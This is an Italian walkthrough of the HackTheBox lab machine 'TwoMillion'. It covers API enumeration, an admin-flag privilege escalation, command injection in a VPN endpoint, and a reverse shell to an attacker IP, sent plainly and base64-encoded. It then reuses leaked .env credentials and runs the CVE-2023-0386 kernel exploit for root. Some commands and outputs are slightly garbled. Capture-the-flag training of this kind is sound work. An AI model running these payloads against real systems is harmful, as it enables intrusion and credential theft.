TwoMillion

TwoMillion is an Easy difficulty Linux box that was released to celebrate reaching 2 million users on HackTheBox

Iniziamo verificando che la macchina sia up e che risponda. Una volta fatto ciò proseguiamo verificando quali siano le sue porte aperte. Attraverso un semplice comando nmap del tipo

nmap -sC -sV <indirizzoIP>

Ci verranno mostrate le due seguenti porte aperte

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Per poter visitare il sito web andiamo ad aggiungere al file etc/hosts l'indirizzo ip con il suo domain name

echo "10.10.11.221 2million.htb" > /etc/hosts

Una volta fatto ciò ci troveremo all'interno del sito web. Esplorandola le varie pagine ci troveremo davanti alla pagina /invite

In questa pagina è possibile iscriversi al sito solo tramite codice di invito. Il sito ci suggerisce "Feel free to hack your way in :)", ed è proprio quello che faremo.

Come prima cosa analizziamo i contenuti della pagina e andiamo alla ricerca del file javascript contenente la funzione che effettua la verifica del codice di invito. Tra i file javascript troviamo quello chiamato inviteapi.min.js.

L'estensione del file ci suggerisce che il suo contenuto è offuscato/minificato, ma è comunque possibile cercare le stringhe nel codice che potrebbero rappresentare delle funzioni. Per comprendere meglio il codice, è possibile abbellire il codice JavaScript minificato utilizzando strumenti come de4js.

Inserendo il codice ed effettuando l'auto decode otterremo le due seguenti funzioni

function verifyInviteCode(code) {
    var formData = {
        "code": code
    };
    $.ajax({
        type: "POST",
        dataType: "json",
        data: formData,
        url: '/api/v1/invite/verify',
        success: function (response) {
            console.log(response)
        },
        error: function (response) {
            console.log(response)
        }
    })
}

function makeInviteCode() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function (response) {
            console.log(response)
        },
        error: function (response) {
            console.log(response)
        }
    })
}

Con sorpresa vediamo che esiste una funzione che genera un codice di invito e che effettua una richiesta POST all'indirizzo /api/v1/invite/how/to/generate. Scopriamo inoltre che, come spesso accade per le API, le richieste sono effettuate trasmettendo ed ottenendo dati in formato JSON.

Da terminale procediamo quindi ad effettuare una richiesta di questo tipo e analizziamo il risultato

$ curl -X POST http://2million.htb/api/v1/invite/how/to/generate | jq

{
  "0": 200,
  "success": 1,
  "data": {
    "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",
    "enctype": "ROT13"
  },
  "hint": "Data is encrypted...We should probbably check the encryption type in order to decrypt it..."
}

Ci viene restituito nel campo data un testo cifrato e ci veiene anche suggerito il tipo di cifratura, ovvero ROT13. A questo punto procediamo a decifrarlo con un qualsiasi tool online. Il risultato è il seguente:

In order to generate the invite code, make a POST request to /api/v1/invite/generate

Procediamo quindi ad effettuare una nuova richiesta POST al seguente indirizzo e analizziamo il risultato

$ curl -X POST http://2million.htb/api/v1/invite/generate | jq

{"0":200,
"success":1,
"data":{"code":"NFo5WVotUzFCVVgtOUM4NzItUFdYRjA=","format":"encoded"}} 

In questo caso ci viene fornito un altro codice cifrato che sembra essere base64. Provando a decifrarlo otteniamo infatti, finalmente, il nostro codice di invito: 4Z9YZ-S1BUX-9C872-PWXF0.

Una volta creato il nostro account esploriamo la nostra home alla ricerca di qualcosa che ci possa essere utile. Vediamo che, tra le molte pagine presenti nella homepage, pochi di questi reindirizzano ad una pagina.

Le pagine accessibili sono:

  • Rules

  • Change log

  • Access

Tra queste tre, l'unica non contenente solamente testo ma anche elementi interagibili è /access.

All'interno di questa pagina sono presenti due bottoni che ci permettono di generare e scaricare il file VPN relativo al nostro account.

Analizzando il funzionamento dei bottoni e delle richieste effettuate, tramite Burpsuite o semplicemente tramite il nostro browser, è possibile vedere come questi effettuino una richiesta GET a /api/v1/users/vpn/generate. Proviamo ad effettuare una richiesta ad /api e analizziamo il risultato.

curl -v 2million.htb/api

* Request completely sent off
< HTTP/1.1 401 Unauthorized

Possiamo vedere come il server ci risponda con un 401 Unauthorized. Procediamo quindi con fornire alla richiesta il nostro cookie di sessione e ripetiamo la richiesta

curl -v 2million.htb/api --cookie "PHPSESSID:cookie" | jq

{
  "/api/v1": "Version 1 of the API"
}
curl -v 2million.htb/api/v1 --cookie "PHPSESSID:cookie" | jq

{
  "v1": {
    "user": {
      "GET": {
        "/api/v1": "Route List",
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
        "/api/v1/invite/generate": "Generate invite code",
        "/api/v1/invite/verify": "Verify invite code",
        "/api/v1/user/auth": "Check if user is authenticated",
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
        "/api/v1/user/vpn/download": "Download OVPN file"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}

Così facendo abbiamo ottenuto informazioni riguardo gli endpoint API, tra cui tre relativi a funzioni di admin. Tra questi risalta all'occhio /api/v1/admin/settings/update. Come suggerito, questo endpoint accetta solamente richieste PUT. Se provassimo, invece, ad effettuare richieste agli altri due endpoint riceveremmo come risposta401 Unauthorized.

Proviamo quindi ad effettuare una richiesta con metodo PUT e vediamo il risultato

curl -v -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=cookie" | jq

{
  "status": "danger",
  "message": "Invalid content type."
}

Bene, non ci viene restituito il solito 401 Unauthorized, però ci viene detto che il tipo del contenuto non valido. Questo però è normale, visto che, come visto prima, il contenuto della richiesta era in formato JSON.

Cambiamo quindi l'header della richiesta e vediamo come cambia la risposta

curl -v -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=cookie" --header "Content-Type: application/json" | jq

{
  "status": "danger",
  "message": "Missing parameter: email"
}

Finalmente la richiesta viene accettata ma ci viene indicato che manca un parametro, quello dell'emai. Ricostruiamo il messaggio fornendo anche i dati in formato JSON tramite parametro -d . Ripetendo il comando ci viene indicato un nuovo parametro mancante, ovvero is_admin. Passando vari valori scopriamo che accetta solo 0 e 1 come valori. Costruiamo finalmente il comando completo

curl -v -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=cookie" --header "Content-Type: application/json" -d '{"email":"test@gmail.com","is_admin":1}' | jq

{
  "id": 20,
  "username": "G4nglat1",
  "is_admin": 1
}

Verifichiamo di avere le autorizzazioni da admin utilizzando l'endpoint specifico

curl -v http://2million.htb/api/v1/admin/auth --cookie "PHPSESSID=cookie" | jq 

{
  "message": true

Foothold

Trovato il "punto d'appiglio" per entrare nel sistema, procediamo. Innanzitutto proviamo a generare il file VPN per l'utente admin tramite il seguente comando completo.

curl -v -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=cookie" --header "Content-Type: application/json" -d '{"username": "G4nglat1"}' > admin.ovpn

Il file viene creato correttamente. Ci si chiede se questa viene generata tramite la funzione PHP execo system e, nel caso, se ci siano o meno misure di verifica per filtrare quanto passatogli. Verifichiamo questa ipotesi iniettando il comando ;pwd; dopo il nome utente.

curl -v -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=cookie" --header "Content-Type: application/json" -d '{"username": "test";pwd;}

/var/www/html

Ottimo, non c'è alcun tipo di filtro su quanto passatogli durante la chiamata. Mettiamoci in ascolto sulla nostra macchina tramite comando

nc -lvnp 9001

Scriviamo il payload per la reverse shelle e inviamolo nella richiesta.

curl -v -X POST -v http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=cookie" --header "Content-Type: application/json" -d '{"username": "test;bash -i >& /dev/tcp/10.10.16.85/2142 0>&1;"}'

Questo comando non ci da alcune risposta per cui codifichiamo il payload in base64 e riproviamo

curl -v -X POST -v http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=bmg462bikgg9k2r6kfptd4v6uj" --header "Content-Type: application/json" -d '{"username":"test;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi44NS8yMTQyIDA+JjE= | base64 -d | bash;"}'

www-data@2million:~/html$ 

Siamo dentro. Da qui la prima cosa che facciamo e verificare dove ci troviamo e quali sono i file presenti.

www-data@2million:~/html$ pwd
/var/www/html
www-data@2million:~/html$ ls -la
total 56
drwxr-xr-x 10 root root 4096 Jan 18 15:50 .
drwxr-xr-x  3 root root 4096 Jun  6  2023 ..
-rw-r--r--  1 root root   87 Jun  2  2023 .env
-rw-r--r--  1 root root 1237 Jun  2  2023 Database.php
-rw-r--r--  1 root root 2787 Jun  2  2023 Router.php
drwxr-xr-x  5 root root 4096 Jan 18 15:50 VPN
drwxr-xr-x  2 root root 4096 Jun  6  2023 assets
drwxr-xr-x  2 root root 4096 Jun  6  2023 controllers
drwxr-xr-x  5 root root 4096 Jun  6  2023 css
drwxr-xr-x  2 root root 4096 Jun  6  2023 fonts
drwxr-xr-x  2 root root 4096 Jun  6  2023 images
-rw-r--r--  1 root root 2692 Jun  2  2023 index.php
drwxr-xr-x  3 root root 4096 Jun  6  2023 js
drwxr-xr-x  2 root root 4096 Jun  6  2023 views

Notiamo il file .env, normalmente utilizzato nelle applicazioni PHP per memorizzare i valori delle variabili d'ambiente. Vediamo cosa c'è dentro

www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

Sembrano essere informazioni riguardando un DB chiamato htb_prod con annesse credenziali per un account di amministrazione chiamato admin. Vediamo se le stesse credenziali possono essere usate per effettuare il login tramite shh

ssh admin@2million.htb
admin@2million.htb's password: 
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64)

You have mail.

admin@2million:~$
$ git clone https://github.com/sxlmnwb/CVE-2023-0386
$ zip -r cve.zip CVE-2023-0386
$ scp cve.zip admin@2million.htb:/tmp

Sulla macchina, invece, procederemo ad utilizzare l'exploit tramite i seguenti comandi

$ cd /tmp
$ unzip cve.zip
$ cd /tmp/CVE-2023-0386/
$ make all
$ ./fuse ./ovlcap/lower ./gc &
$ ./exp

La compilazione tramite make all da alcuni warning, ma nulla di preoccuparci. Una volta eseguiti tutti i comandi proviamo ad usare il comando id e verifichiamo che abbiamo i permessi di root

root@2million:~ cat /root/root.txt
uid=1000(admin) gid=1000(admin) groups=1000(admin)

root@2million:~ cat /root/root.txt

Last updated